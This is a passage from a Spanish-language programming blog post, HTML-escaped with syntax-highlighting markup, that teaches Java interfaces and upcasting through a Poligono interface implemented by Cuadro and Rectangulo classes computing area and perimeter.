Bien,una interfaz va en su propio archivo y igual que las clases se llama igual que dicho archivo,es .java:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vamos usar el ejemplo mas usado(que es el mejor):&lt;br /&gt;
&lt;br /&gt;
Creamos una interfaz &lt;b&gt;Poligono&lt;/b&gt;,el cual representa figuras geométricas,la clase tendrá las funciones para sacar la Area y el Perimetro de una figura:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
2
3
4
5
6&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;figuras&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;interface&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Poligono&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;abstract&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Area&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;abstract&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Perimetro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Vamos a crear tres clases mas,la primera es el main,Figuras.java:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
2
3
4
5
6
7&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;figuras&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Figuras&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[])&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Codigo&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
La segunda va a ser una abstracción de un cuadrado que implemente la interfaz Polígono y defina las funciones de Área y Perímetro:&lt;br /&gt;
&lt;br /&gt;
Para implementar una interfaz se usa la palabra &lt;b&gt;implements&lt;/b&gt; seguida del nombre de la clase o de la clase que herede la clase,si se implementan varias interfaces se usan comas:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;figuras&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Cuadro&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;implements&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Poligono&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: black;&quot;&gt;Cuadro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;lado&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Area&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;area&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;lado&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Area : &quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;area&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Perimetro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;perimetro&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;lado&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Perimetro : &quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;perimetro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Bien como vemos los métodos abstractos ya los esta usando la clase Cuadro,algo muy importante es que los métodos se deben escribir si o si en la clase que los implemente o de lo contrario dará un error,si la clase no los usa pero si los define se puede usar esta sintaxis,por ejemplo :&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;public void Perimetro() { ; };&lt;/b&gt;&lt;/blockquote&gt;
Aquí es donde comienza el &lt;b&gt;upcasting&lt;/b&gt;,podemos definir un cuadro de la siguiente manera:&lt;br /&gt;
&lt;br /&gt;
La manera normal seria:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Cuadro cuadro = new Cuadro(30);&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Pero podemos hacerlo desde la clase heredada(que es una interfaz),subiendo un nivel en la cadena:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Poligono cuadro = new Cuadro(30);&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Y no hay ningún problema.&lt;br /&gt;
&lt;br /&gt;
El otro ejemplo que les mencionaba de el uso de interfaces como plantillas es que digamos que un programador encargado de pensar la idea de un programa crea una interfaz que tienen que definir los métodos otros programadores,pero &amp;nbsp;cada uno lo hará diferente,basado en la necesidad del objeto que debe crear,saben que deben hacer basados en la interfaz,pero les toca implementar el método.&lt;br /&gt;
&lt;br /&gt;
A pequeña escala supongamos que el primer programador tenia que hacer un Cuadro,ya lo hizo y otro tiene que hacer un &lt;b&gt;Rectangulo&lt;/b&gt;,lo cual se vería así:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;figuras&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Rectangulo&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;implements&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Poligono&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;base&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;altura&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: black;&quot;&gt;Rectangulo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;base&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;altura&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;base&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;base&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;altura&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;altura&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Area&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;area&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;base&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;altura&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Area : &quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;area&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Perimetro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;perimetro&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;base&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;base&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)+(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;altura&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;altura&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Perimetro : &quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;perimetro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;

 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora si en la clase principal podemos usarlos:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;figuras&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Figuras&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[])&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;Poligono&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;cuadro&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Cuadro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;cuadro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Perimetro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;cuadro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Area&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;Poligono&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;rectangulo&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Rectangulo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
